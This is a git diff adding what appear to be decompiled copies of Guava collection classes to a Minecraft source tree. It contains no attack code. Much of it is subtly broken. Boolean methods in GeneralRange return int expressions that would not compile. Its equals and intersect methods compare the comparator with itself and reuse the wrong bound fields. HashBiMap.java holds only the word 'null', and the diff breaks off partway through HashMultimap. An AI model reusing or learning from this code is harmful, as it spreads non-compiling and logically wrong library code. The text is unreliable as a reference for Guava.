diff --git a/src/minecraft/com/google/common/collect/ForwardingSortedMap.java b/src/minecraft/com/google/common/collect/ForwardingSortedMap.java
new file mode 100644
index 0000000..b895572
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/ForwardingSortedMap.java
@@ -0,0 +1,157 @@
+package com.google.common.collect;
+
+import com.google.common.annotations.Beta;
+import com.google.common.annotations.GwtCompatible;
+import com.google.common.base.Preconditions;
+import java.util.Comparator;
+import java.util.NoSuchElementException;
+import java.util.SortedMap;
+import javax.annotation.Nullable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@GwtCompatible
+public abstract class ForwardingSortedMap<K, V>
+  extends ForwardingMap<K, V>
+  implements SortedMap<K, V>
+{
+  protected ForwardingSortedMap() {}
+  
+  protected abstract SortedMap<K, V> delegate();
+  
+  public Comparator<? super K> comparator()
+  {
+    return delegate().comparator();
+  }
+  
+  public K firstKey()
+  {
+    return delegate().firstKey();
+  }
+  
+  public SortedMap<K, V> headMap(K toKey)
+  {
+    return delegate().headMap(toKey);
+  }
+  
+  public K lastKey()
+  {
+    return delegate().lastKey();
+  }
+  
+  public SortedMap<K, V> subMap(K fromKey, K toKey)
+  {
+    return delegate().subMap(fromKey, toKey);
+  }
+  
+  public SortedMap<K, V> tailMap(K fromKey)
+  {
+    return delegate().tailMap(fromKey);
+  }
+  
+
+
+
+
+
+  @Beta
+  protected class StandardKeySet
+    extends Maps.SortedKeySet<K, V>
+  {
+    public StandardKeySet()
+    {
+      super();
+    }
+  }
+  
+
+  private int unsafeCompare(Object k1, Object k2)
+  {
+    Comparator<? super K> comparator = comparator();
+    if (comparator == null) {
+      return ((Comparable)k1).compareTo(k2);
+    }
+    return comparator.compare(k1, k2);
+  }
+  
+
+
+
+
+
+
+
+
+  @Beta
+  protected boolean standardContainsKey(@Nullable Object key)
+  {
+    try
+    {
+      SortedMap<Object, V> self = this;
+      Object ceilingKey = self.tailMap(key).firstKey();
+      return unsafeCompare(ceilingKey, key) == 0;
+    } catch (ClassCastException e) {
+      return false;
+    } catch (NoSuchElementException e) {
+      return false;
+    } catch (NullPointerException e) {}
+    return false;
+  }
+  
+
+
+
+
+
+
+
+  @Beta
+  protected SortedMap<K, V> standardSubMap(K fromKey, K toKey)
+  {
+    Preconditions.checkArgument(unsafeCompare(fromKey, toKey) <= 0, "fromKey must be <= toKey");
+    return tailMap(fromKey).headMap(toKey);
+  }
+}
diff --git a/src/minecraft/com/google/common/collect/ForwardingSortedMultiset.java b/src/minecraft/com/google/common/collect/ForwardingSortedMultiset.java
new file mode 100644
index 0000000..ae196b3
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/ForwardingSortedMultiset.java
@@ -0,0 +1,224 @@
+package com.google.common.collect;
+
+import com.google.common.annotations.Beta;
+import com.google.common.annotations.GwtCompatible;
+import java.util.Comparator;
+import java.util.Iterator;
+import java.util.NavigableSet;
+import java.util.Set;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@Beta
+@GwtCompatible(emulated=true)
+public abstract class ForwardingSortedMultiset<E>
+  extends ForwardingMultiset<E>
+  implements SortedMultiset<E>
+{
+  protected ForwardingSortedMultiset() {}
+  
+  protected abstract SortedMultiset<E> delegate();
+  
+  public NavigableSet<E> elementSet()
+  {
+    return (NavigableSet)super.elementSet();
+  }
+  
+
+
+
+
+
+
+
+
+
+  protected class StandardElementSet
+    extends SortedMultisets.NavigableElementSet<E>
+  {
+    public StandardElementSet()
+    {
+      super();
+    }
+  }
+  
+  public Comparator<? super E> comparator()
+  {
+    return delegate().comparator();
+  }
+  
+  public SortedMultiset<E> descendingMultiset()
+  {
+    return delegate().descendingMultiset();
+  }
+  
+
+
+
+
+
+  protected abstract class StandardDescendingMultiset
+    extends DescendingMultiset<E>
+  {
+    public StandardDescendingMultiset() {}
+    
+
+
+
+
+
+    SortedMultiset<E> forwardMultiset()
+    {
+      return ForwardingSortedMultiset.this;
+    }
+  }
+  
+  public Multiset.Entry<E> firstEntry()
+  {
+    return delegate().firstEntry();
+  }
+  
+
+
+
+
+
+  protected Multiset.Entry<E> standardFirstEntry()
+  {
+    Iterator<Multiset.Entry<E>> entryIterator = entrySet().iterator();
+    if (!entryIterator.hasNext()) {
+      return null;
+    }
+    Multiset.Entry<E> entry = (Multiset.Entry)entryIterator.next();
+    return Multisets.immutableEntry(entry.getElement(), entry.getCount());
+  }
+  
+  public Multiset.Entry<E> lastEntry()
+  {
+    return delegate().lastEntry();
+  }
+  
+
+
+
+
+
+
+  protected Multiset.Entry<E> standardLastEntry()
+  {
+    Iterator<Multiset.Entry<E>> entryIterator = descendingMultiset().entrySet().iterator();
+    
+
+    if (!entryIterator.hasNext()) {
+      return null;
+    }
+    Multiset.Entry<E> entry = (Multiset.Entry)entryIterator.next();
+    return Multisets.immutableEntry(entry.getElement(), entry.getCount());
+  }
+  
+  public Multiset.Entry<E> pollFirstEntry()
+  {
+    return delegate().pollFirstEntry();
+  }
+  
+
+
+
+
+
+  protected Multiset.Entry<E> standardPollFirstEntry()
+  {
+    Iterator<Multiset.Entry<E>> entryIterator = entrySet().iterator();
+    if (!entryIterator.hasNext()) {
+      return null;
+    }
+    Multiset.Entry<E> entry = (Multiset.Entry)entryIterator.next();
+    entry = Multisets.immutableEntry(entry.getElement(), entry.getCount());
+    entryIterator.remove();
+    return entry;
+  }
+  
+  public Multiset.Entry<E> pollLastEntry()
+  {
+    return delegate().pollLastEntry();
+  }
+  
+
+
+
+
+
+
+  protected Multiset.Entry<E> standardPollLastEntry()
+  {
+    Iterator<Multiset.Entry<E>> entryIterator = descendingMultiset().entrySet().iterator();
+    
+
+    if (!entryIterator.hasNext()) {
+      return null;
+    }
+    Multiset.Entry<E> entry = (Multiset.Entry)entryIterator.next();
+    entry = Multisets.immutableEntry(entry.getElement(), entry.getCount());
+    entryIterator.remove();
+    return entry;
+  }
+  
+  public SortedMultiset<E> headMultiset(E upperBound, BoundType boundType)
+  {
+    return delegate().headMultiset(upperBound, boundType);
+  }
+  
+
+  public SortedMultiset<E> subMultiset(E lowerBound, BoundType lowerBoundType, E upperBound, BoundType upperBoundType)
+  {
+    return delegate().subMultiset(lowerBound, lowerBoundType, upperBound, upperBoundType);
+  }
+  
+
+
+
+
+
+
+
+
+  protected SortedMultiset<E> standardSubMultiset(E lowerBound, BoundType lowerBoundType, E upperBound, BoundType upperBoundType)
+  {
+    return tailMultiset(lowerBound, lowerBoundType).headMultiset(upperBound, upperBoundType);
+  }
+  
+  public SortedMultiset<E> tailMultiset(E lowerBound, BoundType boundType)
+  {
+    return delegate().tailMultiset(lowerBound, boundType);
+  }
+}
diff --git a/src/minecraft/com/google/common/collect/ForwardingSortedSet.java b/src/minecraft/com/google/common/collect/ForwardingSortedSet.java
new file mode 100644
index 0000000..52ee664
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/ForwardingSortedSet.java
@@ -0,0 +1,166 @@
+package com.google.common.collect;
+
+import com.google.common.annotations.Beta;
+import com.google.common.annotations.GwtCompatible;
+import java.util.Comparator;
+import java.util.Iterator;
+import java.util.NoSuchElementException;
+import java.util.SortedSet;
+import javax.annotation.Nullable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@GwtCompatible
+public abstract class ForwardingSortedSet<E>
+  extends ForwardingSet<E>
+  implements SortedSet<E>
+{
+  protected ForwardingSortedSet() {}
+  
+  protected abstract SortedSet<E> delegate();
+  
+  public Comparator<? super E> comparator()
+  {
+    return delegate().comparator();
+  }
+  
+  public E first()
+  {
+    return delegate().first();
+  }
+  
+  public SortedSet<E> headSet(E toElement)
+  {
+    return delegate().headSet(toElement);
+  }
+  
+  public E last()
+  {
+    return delegate().last();
+  }
+  
+  public SortedSet<E> subSet(E fromElement, E toElement)
+  {
+    return delegate().subSet(fromElement, toElement);
+  }
+  
+  public SortedSet<E> tailSet(E fromElement)
+  {
+    return delegate().tailSet(fromElement);
+  }
+  
+
+  private int unsafeCompare(Object o1, Object o2)
+  {
+    Comparator<? super E> comparator = comparator();
+    return comparator == null ? ((Comparable)o1).compareTo(o2) : comparator.compare(o1, o2);
+  }
+  
+
+
+
+
+
+
+
+
+  @Beta
+  protected boolean standardContains(@Nullable Object object)
+  {
+    try
+    {
+      SortedSet<Object> self = this;
+      Object ceiling = self.tailSet(object).first();
+      return unsafeCompare(ceiling, object) == 0;
+    } catch (ClassCastException e) {
+      return false;
+    } catch (NoSuchElementException e) {
+      return false;
+    } catch (NullPointerException e) {}
+    return false;
+  }
+  
+
+
+
+
+
+
+
+  @Beta
+  protected boolean standardRemove(@Nullable Object object)
+  {
+    try
+    {
+      SortedSet<Object> self = this;
+      Iterator<Object> iterator = self.tailSet(object).iterator();
+      if (iterator.hasNext()) {
+        Object ceiling = iterator.next();
+        if (unsafeCompare(ceiling, object) == 0) {
+          iterator.remove();
+          return true;
+        }
+      }
+    } catch (ClassCastException e) {
+      return false;
+    } catch (NullPointerException e) {
+      return false;
+    }
+    return false;
+  }
+  
+
+
+
+
+
+
+  @Beta
+  protected SortedSet<E> standardSubSet(E fromElement, E toElement)
+  {
+    return tailSet(fromElement).headSet(toElement);
+  }
+}
diff --git a/src/minecraft/com/google/common/collect/ForwardingSortedSetMultimap.java b/src/minecraft/com/google/common/collect/ForwardingSortedSetMultimap.java
new file mode 100644
index 0000000..0f7fd04
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/ForwardingSortedSetMultimap.java
@@ -0,0 +1,60 @@
+package com.google.common.collect;
+
+import com.google.common.annotations.GwtCompatible;
+import java.util.Comparator;
+import java.util.SortedSet;
+import javax.annotation.Nullable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@GwtCompatible
+public abstract class ForwardingSortedSetMultimap<K, V>
+  extends ForwardingSetMultimap<K, V>
+  implements SortedSetMultimap<K, V>
+{
+  protected ForwardingSortedSetMultimap() {}
+  
+  protected abstract SortedSetMultimap<K, V> delegate();
+  
+  public SortedSet<V> get(@Nullable K key)
+  {
+    return delegate().get(key);
+  }
+  
+  public SortedSet<V> removeAll(@Nullable Object key) {
+    return delegate().removeAll(key);
+  }
+  
+  public SortedSet<V> replaceValues(K key, Iterable<? extends V> values)
+  {
+    return delegate().replaceValues(key, values);
+  }
+  
+  public Comparator<? super V> valueComparator() {
+    return delegate().valueComparator();
+  }
+}
diff --git a/src/minecraft/com/google/common/collect/ForwardingTable.java b/src/minecraft/com/google/common/collect/ForwardingTable.java
new file mode 100644
index 0000000..8bebcd9
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/ForwardingTable.java
@@ -0,0 +1,144 @@
+package com.google.common.collect;
+
+import com.google.common.annotations.GwtCompatible;
+import java.util.Collection;
+import java.util.Map;
+import java.util.Set;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@GwtCompatible
+public abstract class ForwardingTable<R, C, V>
+  extends ForwardingObject
+  implements Table<R, C, V>
+{
+  protected ForwardingTable() {}
+  
+  protected abstract Table<R, C, V> delegate();
+  
+  public Set<Table.Cell<R, C, V>> cellSet()
+  {
+    return delegate().cellSet();
+  }
+  
+  public void clear()
+  {
+    delegate().clear();
+  }
+  
+  public Map<R, V> column(C columnKey)
+  {
+    return delegate().column(columnKey);
+  }
+  
+  public Set<C> columnKeySet()
+  {
+    return delegate().columnKeySet();
+  }
+  
+  public Map<C, Map<R, V>> columnMap()
+  {
+    return delegate().columnMap();
+  }
+  
+  public boolean contains(Object rowKey, Object columnKey)
+  {
+    return delegate().contains(rowKey, columnKey);
+  }
+  
+  public boolean containsColumn(Object columnKey)
+  {
+    return delegate().containsColumn(columnKey);
+  }
+  
+  public boolean containsRow(Object rowKey)
+  {
+    return delegate().containsRow(rowKey);
+  }
+  
+  public boolean containsValue(Object value)
+  {
+    return delegate().containsValue(value);
+  }
+  
+  public V get(Object rowKey, Object columnKey)
+  {
+    return delegate().get(rowKey, columnKey);
+  }
+  
+  public boolean isEmpty()
+  {
+    return delegate().isEmpty();
+  }
+  
+  public V put(R rowKey, C columnKey, V value)
+  {
+    return delegate().put(rowKey, columnKey, value);
+  }
+  
+  public void putAll(Table<? extends R, ? extends C, ? extends V> table)
+  {
+    delegate().putAll(table);
+  }
+  
+  public V remove(Object rowKey, Object columnKey)
+  {
+    return delegate().remove(rowKey, columnKey);
+  }
+  
+  public Map<C, V> row(R rowKey)
+  {
+    return delegate().row(rowKey);
+  }
+  
+  public Set<R> rowKeySet()
+  {
+    return delegate().rowKeySet();
+  }
+  
+  public Map<R, Map<C, V>> rowMap()
+  {
+    return delegate().rowMap();
+  }
+  
+  public int size()
+  {
+    return delegate().size();
+  }
+  
+  public Collection<V> values()
+  {
+    return delegate().values();
+  }
+  
+  public boolean equals(Object obj) {
+    return (obj == this) || (delegate().equals(obj));
+  }
+  
+  public int hashCode() {
+    return delegate().hashCode();
+  }
+}
diff --git a/src/minecraft/com/google/common/collect/GeneralRange.java b/src/minecraft/com/google/common/collect/GeneralRange.java
new file mode 100644
index 0000000..40cac38
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/GeneralRange.java
@@ -0,0 +1,283 @@
+package com.google.common.collect;
+
+import com.google.common.annotations.GwtCompatible;
+import com.google.common.base.Objects;
+import com.google.common.base.Preconditions;
+import java.io.Serializable;
+import java.util.Comparator;
+import javax.annotation.Nullable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@GwtCompatible(serializable=true)
+final class GeneralRange<T>
+  implements Serializable
+{
+  private final Comparator<? super T> comparator;
+  private final boolean hasLowerBound;
+  @Nullable
+  private final T lowerEndpoint;
+  private final BoundType lowerBoundType;
+  private final boolean hasUpperBound;
+  @Nullable
+  private final T upperEndpoint;
+  private final BoundType upperBoundType;
+  private transient GeneralRange<T> reverse;
+  
+  static <T extends Comparable> GeneralRange<T> from(Range<T> range)
+  {
+    T lowerEndpoint = range.hasLowerBound() ? range.lowerEndpoint() : null;
+    BoundType lowerBoundType = range.hasLowerBound() ? range.lowerBoundType() : BoundType.OPEN;
+    
+
+    T upperEndpoint = range.hasUpperBound() ? range.upperEndpoint() : null;
+    BoundType upperBoundType = range.hasUpperBound() ? range.upperBoundType() : BoundType.OPEN;
+    return new GeneralRange(Ordering.natural(), range.hasLowerBound(), lowerEndpoint, lowerBoundType, range.hasUpperBound(), upperEndpoint, upperBoundType);
+  }
+  
+
+
+
+  static <T> GeneralRange<T> all(Comparator<? super T> comparator)
+  {
+    return new GeneralRange(comparator, false, null, BoundType.OPEN, false, null, BoundType.OPEN);
+  }
+  
+
+
+
+
+  static <T> GeneralRange<T> downTo(Comparator<? super T> comparator, @Nullable T endpoint, BoundType boundType)
+  {
+    return new GeneralRange(comparator, true, endpoint, boundType, false, null, BoundType.OPEN);
+  }
+  
+
+
+
+
+  static <T> GeneralRange<T> upTo(Comparator<? super T> comparator, @Nullable T endpoint, BoundType boundType)
+  {
+    return new GeneralRange(comparator, false, null, BoundType.OPEN, true, endpoint, boundType);
+  }
+  
+
+
+
+
+  static <T> GeneralRange<T> range(Comparator<? super T> comparator, @Nullable T lower, BoundType lowerType, @Nullable T upper, BoundType upperType)
+  {
+    return new GeneralRange(comparator, true, lower, lowerType, true, upper, upperType);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  private GeneralRange(Comparator<? super T> comparator, boolean hasLowerBound, @Nullable T lowerEndpoint, BoundType lowerBoundType, boolean hasUpperBound, @Nullable T upperEndpoint, BoundType upperBoundType)
+  {
+    this.comparator = ((Comparator)Preconditions.checkNotNull(comparator));
+    this.hasLowerBound = hasLowerBound;
+    this.hasUpperBound = hasUpperBound;
+    this.lowerEndpoint = lowerEndpoint;
+    this.lowerBoundType = ((BoundType)Preconditions.checkNotNull(lowerBoundType));
+    this.upperEndpoint = upperEndpoint;
+    this.upperBoundType = ((BoundType)Preconditions.checkNotNull(upperBoundType));
+    
+    if (hasLowerBound) {
+      comparator.compare(lowerEndpoint, lowerEndpoint);
+    }
+    if (hasUpperBound) {
+      comparator.compare(upperEndpoint, upperEndpoint);
+    }
+    if ((hasLowerBound) && (hasUpperBound)) {
+      int cmp = comparator.compare(lowerEndpoint, upperEndpoint);
+      
+      Preconditions.checkArgument(cmp <= 0, "lowerEndpoint (%s) > upperEndpoint (%s)", new Object[] { lowerEndpoint, upperEndpoint });
+      
+      if (cmp == 0) {
+        Preconditions.checkArgument((lowerBoundType != BoundType.OPEN ? 1 : 0) | (upperBoundType != BoundType.OPEN ? 1 : 0));
+      }
+    }
+  }
+  
+  Comparator<? super T> comparator() {
+    return comparator;
+  }
+  
+  boolean hasLowerBound() {
+    return hasLowerBound;
+  }
+  
+  boolean hasUpperBound() {
+    return hasUpperBound;
+  }
+  
+  boolean isEmpty() {
+    return ((hasUpperBound()) && (tooLow(getUpperEndpoint()))) || ((hasLowerBound()) && (tooHigh(getLowerEndpoint())));
+  }
+  
+  boolean tooLow(@Nullable T t)
+  {
+    if (!hasLowerBound()) {
+      return false;
+    }
+    T lbound = getLowerEndpoint();
+    int cmp = comparator.compare(t, lbound);
+    return (cmp < 0 ? 1 : 0) | (cmp == 0 ? 1 : 0) & (getLowerBoundType() == BoundType.OPEN ? 1 : 0);
+  }
+  
+  boolean tooHigh(@Nullable T t) {
+    if (!hasUpperBound()) {
+      return false;
+    }
+    T ubound = getUpperEndpoint();
+    int cmp = comparator.compare(t, ubound);
+    return (cmp > 0 ? 1 : 0) | (cmp == 0 ? 1 : 0) & (getUpperBoundType() == BoundType.OPEN ? 1 : 0);
+  }
+  
+  boolean contains(@Nullable T t) {
+    return (!tooLow(t)) && (!tooHigh(t));
+  }
+  
+
+
+  GeneralRange<T> intersect(GeneralRange<T> other)
+  {
+    Preconditions.checkNotNull(other);
+    Preconditions.checkArgument(comparator.equals(comparator));
+    
+    boolean hasLowBound = hasLowerBound;
+    
+    T lowEnd = getLowerEndpoint();
+    BoundType lowType = getLowerBoundType();
+    if (!hasLowerBound()) {
+      hasLowBound = hasLowerBound;
+      lowEnd = other.getLowerEndpoint();
+      lowType = other.getLowerBoundType();
+    } else if (other.hasLowerBound()) {
+      int cmp = comparator.compare(getLowerEndpoint(), other.getLowerEndpoint());
+      if ((cmp < 0) || ((cmp == 0) && (other.getLowerBoundType() == BoundType.OPEN))) {
+        lowEnd = other.getLowerEndpoint();
+        lowType = other.getLowerBoundType();
+      }
+    }
+    
+    boolean hasUpBound = hasUpperBound;
+    
+    T upEnd = getUpperEndpoint();
+    BoundType upType = getUpperBoundType();
+    if (!hasUpperBound()) {
+      hasUpBound = hasUpperBound;
+      upEnd = other.getUpperEndpoint();
+      upType = other.getUpperBoundType();
+    } else if (other.hasUpperBound()) {
+      int cmp = comparator.compare(getUpperEndpoint(), other.getUpperEndpoint());
+      if ((cmp > 0) || ((cmp == 0) && (other.getUpperBoundType() == BoundType.OPEN))) {
+        upEnd = other.getUpperEndpoint();
+        upType = other.getUpperBoundType();
+      }
+    }
+    
+    if ((hasLowBound) && (hasUpBound)) {
+      int cmp = comparator.compare(lowEnd, upEnd);
+      if ((cmp > 0) || ((cmp == 0) && (lowType == BoundType.OPEN) && (upType == BoundType.OPEN)))
+      {
+        lowEnd = upEnd;
+        lowType = BoundType.OPEN;
+        upType = BoundType.CLOSED;
+      }
+    }
+    
+    return new GeneralRange(comparator, hasLowBound, lowEnd, lowType, hasUpBound, upEnd, upType);
+  }
+  
+  public boolean equals(@Nullable Object obj)
+  {
+    if ((obj instanceof GeneralRange)) {
+      GeneralRange<?> r = (GeneralRange)obj;
+      return (comparator.equals(comparator)) && (hasLowerBound == hasLowerBound) && (hasUpperBound == hasUpperBound) && (getLowerBoundType().equals(r.getLowerBoundType())) && (getUpperBoundType().equals(r.getUpperBoundType())) && (Objects.equal(getLowerEndpoint(), r.getLowerEndpoint())) && (Objects.equal(getUpperEndpoint(), r.getUpperEndpoint()));
+    }
+    
+
+
+
+    return false;
+  }
+  
+  public int hashCode()
+  {
+    return Objects.hashCode(new Object[] { comparator, getLowerEndpoint(), getLowerBoundType(), getUpperEndpoint(), getUpperBoundType() });
+  }
+  
+
+
+
+
+
+  GeneralRange<T> reverse()
+  {
+    GeneralRange<T> result = reverse;
+    if (result == null) {
+      result = new GeneralRange(Ordering.from(comparator).reverse(), hasUpperBound, getUpperEndpoint(), getUpperBoundType(), hasLowerBound, getLowerEndpoint(), getLowerBoundType());
+      
+
+      reverse = this;
+      return this.reverse = result;
+    }
+    return result;
+  }
+  
+  public String toString()
+  {
+    return comparator + ":" + (lowerBoundType == BoundType.CLOSED ? '[' : '(') + (hasLowerBound ? lowerEndpoint : "-∞") + ',' + (hasUpperBound ? upperEndpoint : "∞") + (upperBoundType == BoundType.CLOSED ? ']' : ')');
+  }
+  
+
+
+
+
+
+
+
+  T getLowerEndpoint()
+  {
+    return lowerEndpoint;
+  }
+  
+  BoundType getLowerBoundType() {
+    return lowerBoundType;
+  }
+  
+  T getUpperEndpoint() {
+    return upperEndpoint;
+  }
+  
+  BoundType getUpperBoundType() {
+    return upperBoundType;
+  }
+}
diff --git a/src/minecraft/com/google/common/collect/GenericMapMaker.java b/src/minecraft/com/google/common/collect/GenericMapMaker.java
new file mode 100644
index 0000000..b67bc94
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/GenericMapMaker.java
@@ -0,0 +1,141 @@
+package com.google.common.collect;
+
+import com.google.common.annotations.Beta;
+import com.google.common.annotations.GwtCompatible;
+import com.google.common.annotations.GwtIncompatible;
+import com.google.common.base.Equivalence;
+import com.google.common.base.Function;
+import com.google.common.base.Objects;
+import java.util.concurrent.ConcurrentMap;
+import java.util.concurrent.TimeUnit;
+
+
+
+
+
+@Deprecated
+@Beta
+@GwtCompatible(emulated=true)
+abstract class GenericMapMaker<K0, V0>
+{
+  @GwtIncompatible("To be supported")
+  MapMaker.RemovalListener<K0, V0> removalListener;
+  GenericMapMaker() {}
+  
+  @GwtIncompatible("To be supported")
+  abstract GenericMapMaker<K0, V0> keyEquivalence(Equivalence<Object> paramEquivalence);
+  
+  public abstract GenericMapMaker<K0, V0> initialCapacity(int paramInt);
+  
+  abstract GenericMapMaker<K0, V0> maximumSize(int paramInt);
+  
+  public abstract GenericMapMaker<K0, V0> concurrencyLevel(int paramInt);
+  
+  @GwtIncompatible("java.lang.ref.WeakReference")
+  public abstract GenericMapMaker<K0, V0> weakKeys();
+  
+  @GwtIncompatible("java.lang.ref.WeakReference")
+  public abstract GenericMapMaker<K0, V0> weakValues();
+  
+  @Deprecated
+  @GwtIncompatible("java.lang.ref.SoftReference")
+  public abstract GenericMapMaker<K0, V0> softValues();
+  
+  abstract GenericMapMaker<K0, V0> expireAfterWrite(long paramLong, TimeUnit paramTimeUnit);
+  
+  @GwtIncompatible("To be supported")
+  abstract GenericMapMaker<K0, V0> expireAfterAccess(long paramLong, TimeUnit paramTimeUnit);
+  
+  @GwtIncompatible("To be supported")
+  static enum NullListener
+    implements MapMaker.RemovalListener<Object, Object>
+  {
+    INSTANCE;
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+    private NullListener() {}
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+    public void onRemoval(MapMaker.RemovalNotification<Object, Object> notification) {}
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  @GwtIncompatible("To be supported")
+  <K extends K0, V extends V0> MapMaker.RemovalListener<K, V> getRemovalListener()
+  {
+    return (MapMaker.RemovalListener)Objects.firstNonNull(removalListener, NullListener.INSTANCE);
+  }
+  
+  public abstract <K extends K0, V extends V0> ConcurrentMap<K, V> makeMap();
+  
+  @GwtIncompatible("MapMakerInternalMap")
+  abstract <K, V> MapMakerInternalMap<K, V> makeCustomMap();
+  
+  @Deprecated
+  abstract <K extends K0, V extends V0> ConcurrentMap<K, V> makeComputingMap(Function<? super K, ? extends V> paramFunction);
+}
diff --git a/src/minecraft/com/google/common/collect/GwtTransient.java b/src/minecraft/com/google/common/collect/GwtTransient.java
new file mode 100644
index 0000000..d515b4d
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/GwtTransient.java
@@ -0,0 +1,14 @@
+package com.google.common.collect;
+
+import com.google.common.annotations.GwtCompatible;
+import java.lang.annotation.Annotation;
+import java.lang.annotation.Documented;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+
+@Documented
+@Retention(RetentionPolicy.RUNTIME)
+@Target({java.lang.annotation.ElementType.FIELD})
+@GwtCompatible
+@interface GwtTransient {}
diff --git a/src/minecraft/com/google/common/collect/HashBasedTable.java b/src/minecraft/com/google/common/collect/HashBasedTable.java
new file mode 100644
index 0000000..c28ce7f
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/HashBasedTable.java
@@ -0,0 +1,146 @@
+package com.google.common.collect;
+
+import com.google.common.annotations.GwtCompatible;
+import com.google.common.base.Supplier;
+import java.io.Serializable;
+import java.util.HashMap;
+import java.util.Map;
+import javax.annotation.Nullable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@GwtCompatible(serializable=true)
+public class HashBasedTable<R, C, V>
+  extends StandardTable<R, C, V>
+{
+  private static final long serialVersionUID = 0L;
+  
+  private static class Factory<C, V>
+    implements Supplier<Map<C, V>>, Serializable
+  {
+    final int expectedSize;
+    private static final long serialVersionUID = 0L;
+    
+    Factory(int expectedSize)
+    {
+      this.expectedSize = expectedSize;
+    }
+    
+    public Map<C, V> get() {
+      return Maps.newHashMapWithExpectedSize(expectedSize);
+    }
+  }
+  
+
+
+
+  public static <R, C, V> HashBasedTable<R, C, V> create()
+  {
+    return new HashBasedTable(new HashMap(), new Factory(0));
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public static <R, C, V> HashBasedTable<R, C, V> create(int expectedRows, int expectedCellsPerRow)
+  {
+    CollectPreconditions.checkNonnegative(expectedCellsPerRow, "expectedCellsPerRow");
+    Map<R, Map<C, V>> backingMap = Maps.newHashMapWithExpectedSize(expectedRows);
+    
+    return new HashBasedTable(backingMap, new Factory(expectedCellsPerRow));
+  }
+  
+
+
+
+
+
+
+
+
+
+  public static <R, C, V> HashBasedTable<R, C, V> create(Table<? extends R, ? extends C, ? extends V> table)
+  {
+    HashBasedTable<R, C, V> result = create();
+    result.putAll(table);
+    return result;
+  }
+  
+  HashBasedTable(Map<R, Map<C, V>> backingMap, Factory<C, V> factory) {
+    super(backingMap, factory);
+  }
+  
+
+
+  public boolean contains(@Nullable Object rowKey, @Nullable Object columnKey)
+  {
+    return super.contains(rowKey, columnKey);
+  }
+  
+  public boolean containsColumn(@Nullable Object columnKey) {
+    return super.containsColumn(columnKey);
+  }
+  
+  public boolean containsRow(@Nullable Object rowKey) {
+    return super.containsRow(rowKey);
+  }
+  
+  public boolean containsValue(@Nullable Object value) {
+    return super.containsValue(value);
+  }
+  
+  public V get(@Nullable Object rowKey, @Nullable Object columnKey) {
+    return super.get(rowKey, columnKey);
+  }
+  
+  public boolean equals(@Nullable Object obj) {
+    return super.equals(obj);
+  }
+  
+  public V remove(@Nullable Object rowKey, @Nullable Object columnKey)
+  {
+    return super.remove(rowKey, columnKey);
+  }
+}
diff --git a/src/minecraft/com/google/common/collect/HashBiMap.java b/src/minecraft/com/google/common/collect/HashBiMap.java
new file mode 100644
index 0000000..ec747fa
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/HashBiMap.java
@@ -0,0 +1 @@
+null
\ No newline at end of file
diff --git a/src/minecraft/com/google/common/collect/HashMultimap.java b/src/minecraft/com/google/common/collect/HashMultimap.java
new file mode 100644
index 0000000..4bbba93
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/HashMultimap.java
@@ -0,0 +1,139 @@
+package com.google.common.collect;
+
+import com.google.common.annotations.GwtCompatible;
+import com.google.common.annotations.GwtIncompatible;
+import com.google.common.annotations.VisibleForTesting;
+import com.google.common.base.Preconditions;
+import java.io.IOException;
+import java.io.ObjectInputStream;
+import java.io.ObjectOutputStream;
+import java.util.Collection;
+import java.util.HashMap;
+import java.util.Map;
+import java.util.Set;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@GwtCompatible(serializable=true, emulated=true)
+public final class HashMultimap<K, V>
+  extends AbstractSetMultimap<K, V>
+{
+  private static final int DEFAULT_VALUES_PER_KEY = 2;
+  @VisibleForTesting
+  transient int expectedValuesPerKey = 2;
+  
+  @GwtIncompatible("Not needed in emulated source")
+  private static final long serialVersionUID = 0L;
+  
+
+  public static <K, V> HashMultimap<K, V> create()
+  {
+    return new HashMultimap();
+  }
+  
+
+
+
+
+
+
+
+
+
+  public static <K, V> HashMultimap<K, V> create(int expectedKeys, int expectedValuesPerKey)
+  {
+    return new HashMultimap(expectedKeys, expectedValuesPerKey);
+  }
+  
+
+
+
+
+
+
+
+  public static <K, V> HashMultimap<K, V> create(Multimap<? extends K, ? extends V> multimap)
+  {
+    return new HashMultimap(multimap);
+  }
+  
+  private HashMultimap() {
+    super(new HashMap());
+  }
+  
+  private HashMultimap(int expectedKeys, int expectedValuesPerKey) {
+    super(Maps.newHashMapWithExpectedSize(expectedKeys));
